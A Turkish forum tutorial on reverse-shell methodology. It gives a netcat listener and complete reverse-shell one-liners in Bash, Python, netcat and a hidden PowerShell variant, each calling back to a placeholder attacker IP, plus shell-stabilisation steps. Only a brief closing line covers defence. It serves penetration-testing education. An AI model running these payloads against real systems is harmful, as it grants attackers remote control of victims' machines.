Reverse Shell Teknikleri (Bash, Python, PowerShell)
ugrkrbck 🔴 · 2026-09-12 21:20:27
Konu: Metodoloji · Belirli bir platform/odaya değil, genel yaklaşıma odaklıdır.
Bir hedef sistemde kod çalıştırma yeteneği elde ettiğinde, sıradaki adım genellikle o sistemle etkileşimli bir bağlantı (shell) kurmaktır. Reverse shell, hedef sistemin kendi başlatıp senin makinene bağlandığı bir bağlantı türüdür — bu, güvenlik duvarlarının genellikle giden bağlantılara daha az kısıtlama getirmesinden dolayı tercih edilir.
■ 1. Dinleyiciyi (Listener) Başlatma
Reverse shell almadan önce, kendi makinende bağlantıyı dinleyecek bir "listener" açman gerekir:
nc -lvnp 4444
- -l: dinleme modu
- -v: ayrıntılı çıktı
- -n: DNS çözümlemesini atla (hızlandırır)
- -p: port numarası
■ 2. Bash ile Reverse Shell
Hedef sistemde Bash varsa, en basit yöntemlerden biri:
bash -i >& /dev/tcp/<kendi-ip>/4444 0>&1
Bu, standart giriş/çıkış/hata akışlarını TCP bağlantısı üzerinden yönlendirir.
■ 3. Python ile Reverse Shell
Python neredeyse her Linux sisteminde bulunur, bu onu güvenilir bir alternatif yapar:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<kendi-ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
■ 4. Netcat ile (Eğer -e Destekleniyorsa)
Bazı Netcat sürümleri (özellikle eski/BSD varyantları) doğrudan komut çalıştırma desteği sunar:
nc -e /bin/sh <kendi-ip> 4444
Modern Linux dağıtımlarında bu özellik genelde güvenlik nedeniyle kaldırılmıştır.
■ 5. PowerShell ile (Windows Hedefler İçin)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<kendi-ip>",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}
■ 6. Kararlı (Stable) Bir Shell'e Geçiş
İlk elde edilen shell genellikle "kırılgan"dır — Ctrl+C basınca kopabilir, otomatik tamamlama çalışmaz. Linux hedeflerde bunu iyileştirmenin standart yolu:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ardından terminal boyutunu ayarlamak için:
export TERM=xterm
■ 7. reverse shell "cheat sheet" kaynakları
Gerçek angajmanlarda hedefin ortamına göre (hangi diller/araçlar mevcut) doğru payload'ı hızlıca bulmak için PentestMonkey Reverse Shell Cheat Sheet ve revshells.com gibi kaynaklar yaygın olarak kullanılır.
■ Öğrenilen Dersler
- Reverse shell teknikleri, hedef sistemde hangi dillerin/araçların mevcut olduğuna bağlı olarak değişir — bu yüzden birden fazla yöntemi bilmek önemlidir.
- İlk elde edilen shell'i "stabilize etmek", sonraki adımları (dosya transferi, düzenli komut çalıştırma) çok daha kolay hale getirir.
- Savunma tarafında, giden (outbound) trafiğin izlenmesi ve kısıtlanması, bu tür bağlantıları tespit etmenin anahtarıdır.